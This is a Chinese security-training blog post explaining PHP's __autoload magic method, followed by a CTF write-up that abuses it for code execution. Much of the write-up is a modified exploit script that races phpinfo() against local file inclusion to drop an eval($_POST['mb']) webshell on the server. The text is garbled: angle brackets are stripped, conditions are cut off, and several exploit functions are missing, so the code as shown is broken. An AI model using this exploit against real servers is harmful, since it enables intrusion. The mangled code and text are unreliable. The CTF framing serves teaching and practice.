当前位置:网站首页 > 黑客培训 > 正文

autoload魔术方法的妙用

freebuffreebuf 2021-10-09 296 0

本文来源:蚁景科技

前言:

__autoload魔术方法从PHP7.2.0开始被废弃,并且在PHP8.0.0以上的版本完全废除。取而代之的则是spl_autoload_register,但是本文还是研究__autoload

什么是autoload魔术方法?

首先还是从官方手册中下手,了解autoload函数

1633756328_616124a8a2285969f36ec.png

由此可见,__autoload魔术方法需要有一个类名的参数,使用这个魔术方法之后即可自动加载相应的类。

虽然说是自动,但是本质上还是需要我们指定类名,__autoload才会为我们包含文件,自动加载相应的类。

举一个简单的例子,假设我们有index.php业务代码如下:

?php function __autoload($classname){     include("class_$classname.php"); } $a = new A();

并且我们有class_A.php代码如下:

?php class A{     function __construct(){         echo "I am class A\n"; } }

我们可以看到,即使我们在index.php中没有包含class_A.php中的类A,但是在index.php中却新建了一个对象,此时因为在index.php中没有类A,所以PHP会自动调用__autoload魔术方法。

而我们__autoload魔术方法的作用就是将相关文件包含进来,因此最终程序还是成功的将I am class A输出。

1633756339_616124b30a73982e43b73.png

所以,__autoload只需要我们在魔术方法内写明一个逻辑:如果在后面的代码中,新建一个对象,找不到对应的类的时候,应该包含哪些文件。

autoload相比手动加载有哪些优势?

虽然说感觉__autoload很智能,但是通过上方的例子并不能很明显体现__autoload的优点,因此下方换一个例子,用来展示__autoload相比手动加载的其他优势。

首先假设我们有autoload.php主业务逻辑代码如下:

?php  require_once("class_A.php"); require_once("class_B.php"); require_once("class_C.php");  if ($_GET["class"] === 'A'){     $a = new A(); } else if ($_GET["class"] === 'B'){     $b = new B(); } else if ($_GET["class"] === 'C'){     $c = new C(); }

光看这么一段代码就已经觉得手动加载很繁琐了,因为在这段代码中,仅仅只是包含了三个文件,虽然本质上的业务逻辑十分简单,但是代码看起来很繁琐,并且在这一段代码还存在一个很大的问题,就是资源的浪费。我们可以看到主要的业务逻辑就是一个if语句,并且无论我们往class中怎么传参,总是至少有两个类是无法新建的。也就是说,在代码最上方的三行包含文件代码中,至少有两行的文件加载是多余的。因此,这样就就造成了资源的浪费。

那么如何解决这一个问题呢?

答案就是使用__autoload魔术方法,在我们需要的将相关文件包含进来。

因此我们将autoload.php代码修改如下:

?php  function __autoload($classname){     require("class_$classname.php"); }  if ($_GET["class"] === 'A'){     $a = new A(); } else if ($_GET["class"] === 'B'){     $b = new B(); } else if ($_GET["class"] === 'C'){     $c = new C(); }

这个时候不仅代码看上去清爽了很多,而且在理论上,运行的效率会更高,占用的系统资源会更少。

除此之外,这么写其实还有一个优点,这里用到的文件包含函数是require,而上方使用的是require_once,这么写的好处就是:如果后面再次调用类ABC,那么PHP会自动从内存中加载这些类,不会再一次调用__autoload魔术方法。

那么,__autoload在开发中这么神奇,在安全中有没有什么利用场景呢?

有!那必然是有!下面将从一道CTF赛题中看看__autoload在安全中是怎么用的。

从一道CTF题看autoload

首先题目代码如下:

?php  /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date:   2020-10-13 11:25:09 # @Last Modified by:   h1xa # @Last Modified time: 2020-10-19 07:12:57  */ include("flag.php"); error_reporting(0); highlight_file(__FILE__);  class CTFSHOW{     private $username;     private $password;     private $vip;     private $secret;      function __construct(){         $this->vip = 0;         $this->secret = $flag;     }      function __destruct(){         echo $this->secret;     }      public function isVIP(){         return $this->vip?TRUE:FALSE;         }     }      function __autoload($class){         if(isset($class)){             $class();     } }  #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){     die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){     echo "class is exists!"; }  if($isVIP  }

我们可以看到在类CTFSHOW里有一个__autoload魔术方法,虽然是在类里面,但是这是一个全局的魔术方法,也就是说只要调用未知名称的类,都会调用__autoload这个魔术方法,而__autoload魔术方法将传入的参数作为命令执行。

然后我们再往下审计:

$key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){     die("error"); } $ctf = $_POST['ctf']; extract($_GET);

这一部分代码是过滤部分字符,POST传入ctf,并且将GET请求中的变量名和值进行赋值

if(class_exists($__CTFSHOW__)){     echo "class is exists!"; }

这一部分有一个函数:class_exists

这一个函数和前面提到的新建对象一样,如果不存在这个类,同样也会调用__autoload魔术方法

而且需要有一个__CTFSHOW__变量,但是下划线过滤了。不过没关系,在PHP中,当我们使用.作为变量名时,PHP会将.转化为下划线。

if($isVIP  }

而这一部分代码不允许ctf中存在:,并且过滤了log,也就是不允许我们日志注入,但是这里存在一个文件包含。

因此我们可以考虑利用文件包含结合phpinfo进行RCE。

1633756351_616124bf10b2a337860ab.png

这里贴一个项目链接,这个项目大概就是可以通过phpinfo结合本地文件包含,利用PHP的文件上传会存在临时文件的特性,进行getshell,具体原理就不再赘述了,参考说明文档即可。

exp链接:vulhub/exp.py at master · vulhub/vulhub (github.com)

说明文档:vulhub/README.zh-cn.md at master · vulhub/vulhub (github.com)

将改exp修改部分后,如下:

#!/usr/bin/python import sys import threading import socket  attempts_counter = 0   def setup(host, port, phpinfo_path, lfi_path, lfi_param, shell_code='?php eval($_POST["mb"]);?>', shell_path='/tmp/g'):     """     根据提供参数返回请求内容     :param host:HOST     :param port:端口     :param phpinfo_path: phpinfo文件地址     :param lfi_path: 包含lfi的文件地址     :param lfi_param: lfi载入文件时, 指定文件名的参数     :param shell_code: shell代码     :param shell_path: shell代码保存位置     :return:         phpinfo_request: phpinfo 请求内容         lfi_request: lfi 请求内容         tag: 标识内容     """     tag = 'Security Test'   # 搜索验证标识     payload = \ '''{tag}\r ?php $c=fopen('{shell_path}','w');fwrite($c,'{shell_code}');?>\r '''.format(shell_code=shell_code, tag=tag, shell_path=shell_path)      request_data = \ '''-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r {payload} -----------------------------7dbff1ded0714--\r ''' .format(payload=payload)      phpinfo_request = \ '''POST {phpinfo_path}?%5f%5fCTFSHOW%5f%5f=phpinfo othercookie={padding}\r HTTP_ACCEPT: {padding}\r HTTP_USER_AGENT: {padding}\r HTTP_ACCEPT_LANGUAGE: {padding}\r HTTP_PRAGMA: {padding}\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: {request_data_length}\r Host: {host}:{port}\r \r {request_data} '''.format(     padding='A' * 4000,     phpinfo_path=phpinfo_path,     request_data_length=len(request_data),     host=host,     port=port,     request_data=request_data     )      lfi_request = \ '''POST {lfi_path}?{lfi_param} HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: {host}\r Content-Type: application/x-www-form-urlencoded\r \r ctf={{}}\r '''.format(     lfi_path=lfi_path,     lfi_param=lfi_param,     host=host     )     return phpinfo_request, tag, lfi_request   def phpinfo_lfi(host, port, phpinfo_request, offset, lfi_request, tag):     """     通过向phpinfo发送大数据包延缓时间, 然后利用lfi执行     :param host:HOST     :param port:端口     :param phpinfo_request: phpinfo页面请求内容     :param offset: tmp_name在phpinfo中的偏移位     :param lfi_request: lfi页面请求内容     :param tag: 标识内容     :return:         tmp_file_name: 临时文件名     """     phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     lfi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)      phpinfo_socket.connect((host, port))     lfi_socket.connect((host, port))      # 1. 先向phpinfo发送大数据包, 且其中包含php会将payload放入临时文件中     # print(phpinfo_request)     # print(lfi_request)     phpinfo_socket.send(phpinfo_request.encode())      phpinfo_response_data = ''     while len(phpinfo_response_data)  offset:         # 取不到数据则反复执行         phpinfo_response_data += phpinfo_socket.recv(offset).decode()      try:         tmp_name_index = phpinfo_response_data.index('[tmp_name] =?php eval($_POST["mb"]);?>'     shell_path = '/tmp/g'     # 最大尝试次数     max_attempts = 1000      print('LFI With PHPInfo()')     # 一 生成phpinfo请求内容, 标志内容, lfi请求内容     phpinfo_request, tag, lfi_request = setup(         host=host, port=port, phpinfo_path=phpinfo_path, lfi_path=lfi_path,         lfi_param=lfi_param, shell_code=shell_code, shell_path=shell_path)      # 二 获取[tmp_name]在phpinfo中的偏移位     offset = get_offset(host, port, phpinfo_request)      sys.stdout.flush()     thread_event = threading.Event()     thread_lock = threading.Lock()     print('创建线程池 {}...'.format(pool_size))     sys.stdout.flush()     thread_pool = []     for i in range(0, pool_size):         # 三 多线程执行phpinfo_lfi         thread_pool.append(ThreadWorker(thread_event, thread_lock, max_attempts,                                         host, port, phpinfo_request, offset,                                         lfi_request, tag,                                         shell_code, shell_path,                                         lfi_path, lfi_param                                         ))     for t in thread_pool:         t.start()     try:         while not thread_event.wait(1):             if thread_event.is_set():                 break             with thread_lock:                 sys.stdout.write('\r{} / {}'.format(attempts_counter, max_attempts))                 sys.stdout.flush()                 if attempts_counter >= max_attempts:                     # 尝试次数大于最大尝试次数则退出                     break         if thread_event.is_set():             print('''success !''')         else:             print('LJBD!')     except KeyboardInterrupt:         print('\n正在停止所有线程...')         thread_event.set()     for t in thread_pool:         t.join()   if __name__ == "__main__":     main()

当然啦,这题除了可以利用__autoload魔术方法结合本地文件包含getshell,也可以用php上传文件条件竞争来做。

总结:

__autoload之所以好用,首先是因为它是一个全局的魔术方法,并且开发者在使用__autoload的时候,往往是为了包含相关的文件,而在指定包含的文件名时,就可能会出现包含文件可控的情况,虽然__autoload已经在新版本的PHP中废弃,但是在对我们研究老版本的PHP项目,还是有一定指导意义的。

转载请注明来自网盾网络安全培训,本文标题:《autoload魔术方法的妙用》

标签:黑客web安全网络安全技术

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表